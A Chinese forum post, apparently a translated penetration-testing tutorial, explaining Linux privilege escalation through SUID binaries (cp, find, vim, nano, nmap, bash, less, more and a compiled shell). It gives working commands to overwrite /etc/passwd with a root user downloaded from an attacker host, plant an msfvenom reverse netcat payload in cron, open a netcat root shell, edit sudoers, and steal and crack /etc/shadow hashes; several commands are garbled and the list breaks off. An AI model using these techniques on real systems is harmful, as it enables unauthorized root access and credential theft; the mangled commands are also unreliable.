標題:使用SUID二進製文件進行Linux權限升級技巧

taibeihacker

Moderator

0x00 基础知识​

眾所周知,在Linux中一切都以文件存在,包括具有允許或限制三個執行操作(即讀/寫/執行)權限的目錄和設備。因此,當給任何文件設置權限時,應該需要了解允許的Linux用戶或限制所有三個操作的權限。看如下圖所示:
ctcx4oprt1423679.png

從上圖中可看到用於為每個用戶設置組合許可的最大位數是7,它是read(4)write(2)和execute(1)操作的組合。例如,如果設置chmod 755,那麼它就相當於rwxr-xr-x。 但是當給每個用戶特殊許可時,它將變為SUID,SGID和 sticky bits。當其他位設置成“4”時,它變為SUID(設置用戶ID),當位“2”設置為組時,它變為SGID(設置組ID),並且如果允許其他用戶創建或刪除任何用戶ID在目錄中的文件然後將 sticky bits位“1”設置到該目錄。
3gluqdjmcak23680.jpg

1.什么是SUID许可?​

SUID:Set User ID是一種權限類型,允許用戶使用指定用戶的權限執行文件。那些具有suid權限的文件以最高的權限運行。假設我們以非root用戶身份訪問目標系統,並且我們發現二進製文件啟用了suid位,那麼這些文件/程序/命令可以root權限運行.SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。passwd就是一个很鲜明的例子,下面我们就来了解一下这相passwd执行的过程。怎么设置suid?基本上,您可以使用“數字”方法或“符號”方法更改任何文件的權限。結果它將从s替换为 x,如下圖所示,表示對特定文件/命令具有更高權限的特殊執行權限。由於為用戶啟用SUID,因此將在讀/寫/執行操作之前添加位4符号s
lixajaxc5kl23681.jpg

如果使用ls -al执行文件命令查看,您將看到到符號small's',如上圖所示,則表示該文件的SUID位已啟用,並且可以使用root權限運行。

2.SUID如何帮助普通用户提升权限?​

在Linux中,如果啟用了SUID位,非root用戶可以使用某些現有的二進製文件和命令將特權升級為root訪問權限。有一些著名的Linux/Unix可執行文件命令可以讓權限升級如命令:Bash,Cat,cp,echo,find,Less,More,Nano,Nmap,Vim。
讓我們用實例深入了解。首先,创建一个不是sudo組用戶的用戶。這裡我們添加了一個用戶“ignite”,其UID為1001,GID為1001,因此ignite是非root用戶。
igcwfps0let23682.jpg

0x01 使用“cp”命令进行权限提升​

如果為用於復制數據的cp命令啟用了suid位,則可導致權限升級以獲得root訪問權限。例如,假設系統管理員想要為cp命令提供SUID權限。然後,您可以按照以下步驟確定其位置和當前權限,然後可以通過更改權限啟用SUID位。
which cp
ls -al /bin/cp
chmod u+s /bin/cp
jh3bispzpzv23683.jpg

1.第一种方法​

另一方面,開始遠程以普通權限登錄到目標系統並通過查找命令,然後轉移到權限提升階段。假設通過ssh成功登錄受害者的計算機並訪問非root用戶終端。然後通過使用以下命令,您可以枚舉具有SUID權限的所有二進製文件。
vf3pygu43xx23684.jpg

從上圖中可以看到它顯示的文件太多但我們重點注意/bin/cp文。因為現在我們可以復制/etc/password文件來讀取用戶列表。因此將password文件複製到html目錄下。
cp /etc/passwd /var/www/html
umoiaxdvdxg23685.jpg

另一方面,我們使用OpenSSL passwd生成了一個新的用戶hack並設置密碼為pass123
35lqs5k5z2t23686.jpg

我們已經復制的文件也就是在web目錄下/var/www/htm的passwd文件,所以可以通過網絡瀏覽器訪問並下載打開它,然後復制password文件的全部內容到一個文本文件中,並可以添加我們自己的用戶与root UID,GID和目录信息
在之前的文章中,已經討論瞭如何使用openssl passwd實用程序添加用戶/etc/passwd。
k4rlnbzsui123687.jpg

在我們的另一台服務器上運行Python HTTP服務,將我們編輯的passwd文件傳輸到受害者機器上。
python -m SimpleHTTPServer 80
眾所周知,/tmp目錄具有創建或刪除任何文件的所有權限,因此在該目錄下下載了已修改好的passwd文件。一旦它被下載,然後我們將/tmp/passwd的文件拷貝到/etc/passwd中,結果它將覆蓋原始的passwd文件。
命令如下:
cd /tmp
wget http://192.168.1.108/passwd
cp passwd /etc/passwd
在tail命令的幫助下,我們確保我們添加的用戶hack是/etc/passwd文件存儲了用戶信息。由於我們已經添加了具有root權限的用戶,因此將進入root目錄.
命令如下:
tail -n 4/etc/passwd
su hack
whoam
可以成功看到升級為root權限。
5glo5jmyst323688.jpg

2.第二种方法​

同樣如果為cp命令啟用SUID位,我們也可以在目標系統中傳輸後門。這裡我們使用msfvenom命令為反向連接生成了natcat後門。
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
aer3d3vxmur23689.jpg

然後復制上面突出顯示的代碼,並通過編輯bash文件將內容粘貼進去,然後準備將它轉移到目標的系統中,這裡已保存為raj.sh
ci1k4agazbf23690.jpg

現在我們都知道Linux crontab實用計劃程序是以每小時,每天,每周和每月運行文件,因此在/etc/cron.hourly目錄中復制了raj.sh。它將在一小時後運行raj.sh文件。
命令如下:
cp raj.sh /etc/cron.hourly/
ls -al /etc/cron.hourly/
ernk1whwkrv23691.jpg

n15awqhcmwt23692.jpg

另一方面,我們在一個新的終端中啟動了Netcat監聽,並且隨著時間的推移,它將提供目標系統的root權限反向連接。因此,我們看到如果SUID位為ON,單個cp命令如何進行權限提升。您可以使用cp命令嘗試以自己的方式提升root權限。

0x02 使用Find命令进行权限提升​

同樣,如果find命令的SUID位為ON,我們可以升級root權限。例如,假設(系統管理員想要為Find命令提供SUID權限。然後,可以按照以下步驟確定其位置和當前權限,然後您可以通過更改權限啟用SUID位.
which find
ls -al /usr/bin/find
chmod u+s /usr/bin/find
fpap2klz4nl23693.jpg

再次攻擊目標系統,然後如上圖所述移動特權升級階段。然後,通過使用以下命令,您可以枚舉具有SUID權限的所有二進製文件。
find/-perm-u=s-typef2/dev/null
所以在這裡我們知道命令已啟用了SUID位,這意味著我們可以在find命令中執行任何命令。首先,我們創建一個空文件“raj”,然後運行whoami命令,如下所示。
touch raj
find raj -exec 'whoami' \;
如果攻擊者成功枚舉了/usr/bin/find的SUID位,那麼將允許執行任何惡意命令,例如netcat bin/bash shell命令,或者可以獲取重要的系統信息以進行權限提升。
bx2d4a5wxcb23694.jpg

0x03使用Vim进行权限提升​

同樣,如果Vim編輯器的SUID位為ON,我們可以升級為root權限。例如,假設系統管理員想要為Vim編輯器提供SUID權限。然後,可以按照以下步驟確定其位置和當前權限,然後可以通過更改權限啟用SUID位。
命令如下:
which vim
ls -al /usr/bin/vim
ls -al /usr/bin/alternatives/vim
chmod u+s /usr/bin/vim.basic
您將通過軟鏈接到vim.basic,如下圖所示。
temgcfqequo23695.jpg

再次攻擊目標系統,然後如上圖所述移動特權升級階段。然後,通過使用以下命令,可以枚舉所有具有SUID權限的二進製文件。
find/-perm -u=s -type f 2/dev/null
所以在這裡我們知道為/usr/bin/vim.basic啟用了SUID位,因此現在我們可以編輯通過vim只能由sudo或root用戶編輯的文件。
2tg1qbeazfp23696.jpg

我們知道ignite是權限最小的非root用戶,因為vim具有SUID權限,因此,我們可以通過它編輯sudoers文件,並可以更改用戶“ignite”的權限。因此,我們通過鍵入visudo命令打開sudoers文件,並向用戶ignite授權所有者權限,如圖所示。
ignite ALL=(ALL:ALL) ALL
pjelhain1jv23697.jpg

現在讓我們訪問根目錄,這個技巧也可以很好地用於權限提升。
如下命令:
sudo -l
sudo bash
id
zlhgzqn3olc23698.jpg

0x04 使用保存的脚本进行权限提升​

獲得系統或程序調用的任何類型的腳本都有最大的機會進行權限提升,它可以是PHP,Python或C語言腳本的任何腳本。假設系統管理員想要為C語言腳本提供SUID權限,該腳本將在執行時提供bash shell。所以這裡我們編寫了一個c程序,它將為bash shell調用系統並將其保存為“asroot.c”。
5zrox1uakkg23699.jpg

然後在/bi目錄中創建一個rootshell目錄並複制asroot.c文件到該目錄下,然後運行gcc編譯器進行編譯。
mkdir /bin/rootshell
cd /bin/rootshell
cp /home/raj/Desktop/asroot.c .
ls
gcc asroot.c -o shell
chmod u+s shell
ls -al shell
fcirp4u2ohy23700.jpg

現在再次攻擊目標系統並使用find命令識別具有SUID權限的二進製文件。
find/-perm-u=s-typef2/dev/null
所以在這裡我們開始知道列出了二進製文件啟用的suid位,但我們重點觀察/bin/rootshell/shell。所以進入到/bin/rootshell目錄下並運行腳本“shell”,結果我們獲得root訪問權限,如下所示。
3coag0qa0lb23701.jpg

2aw0suyqc2g23702.jpg

0x06 使用Nano的权限提升​

同樣,如果SUID位為ON,則我們可以升級root權限。例如,假設系統管理員想要為nano編輯器提供SUID權限。然後,可以按照以下步驟確定其位置和當前權限,可以通過更改權限啟用SUID位。
如下命令:
which nano
ls -al /bin/nano
chmod u+s /bin/nano
vkm231f12dt23703.jpg

再次攻擊目標系統,然後如上所述移動特權升級階段。然後,通過使用以下命令,可以枚舉具有SUID權限的所有二進製文件。
find/-perm-u=s-typef2/dev/null
所以在這裡我們開始知道為/bin/nano啟用了SUID位,現在讓我們打開/etc/passwd文件來編輯自己的用戶,如上所述,使用openssl passwd。
30q4xiaz4dg23704.jpg

另一方面,我使用openssl passwd添加一個新的用戶名的demo以及密碼123
ethlfeagdjz23705.jpg

現在使用nano編輯器打開passwd文件並添加您自己的用戶,如上所述。在這裡,您可以看到在受害者的系統中創建了帶有加密密碼的演示用户
jvl1tsfkqbr23706.jpg

su demo
id
5r0voj4jiqy23707.jpg

如果為/bin/nano啟用了suid位,那麼可以從/etc/shadow文件中竊取密碼。因此,在攻擊了目標機器後,我們在nano編輯器中打開了shadow文件,並為用戶複製加密密碼:raj。
lvhfln4zf3q23708.jpg

現在將上面的代碼複製粘貼到文本文件中並在桌面上保存為hash,然後使用john對其進行破解,如下所示。它已經現實出用戶名raj以及密碼123,現在嘗試通過raj帳戶登錄目標系統。
35uc3uu3jdd23709.jpg

0x07 其他tips技巧​

1.Nmap老版本的nmap(2.02-5.21)有interactive,是允許用戶執行系統命令的。提權方式
nmap --interactive
之後執行命令:
nmap !sh
sh-3.2# whoami
root
msf中的模塊為:
exploit/unix/local/setuid_nmap
2.Findtouch test
find test -exec whoami \;
如果服務器上裝了nc,可以直接使用以下命令進行監聽:
find test -exec netcat -lvp 5555 -e /bin/sh \;
之後進行連接:
netcat 192.168.1.100 5555
則可獲取root shell
3.vim/vi打開vim,按下ESC
:set shell=/bin/sh
:shell
則可執行命令
4.bashbash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
5.lessless /etc/passwd
!/bin/sh
6.moremore /home/pelle/myfile
!/bin/bash
7.cp
 
返回
上方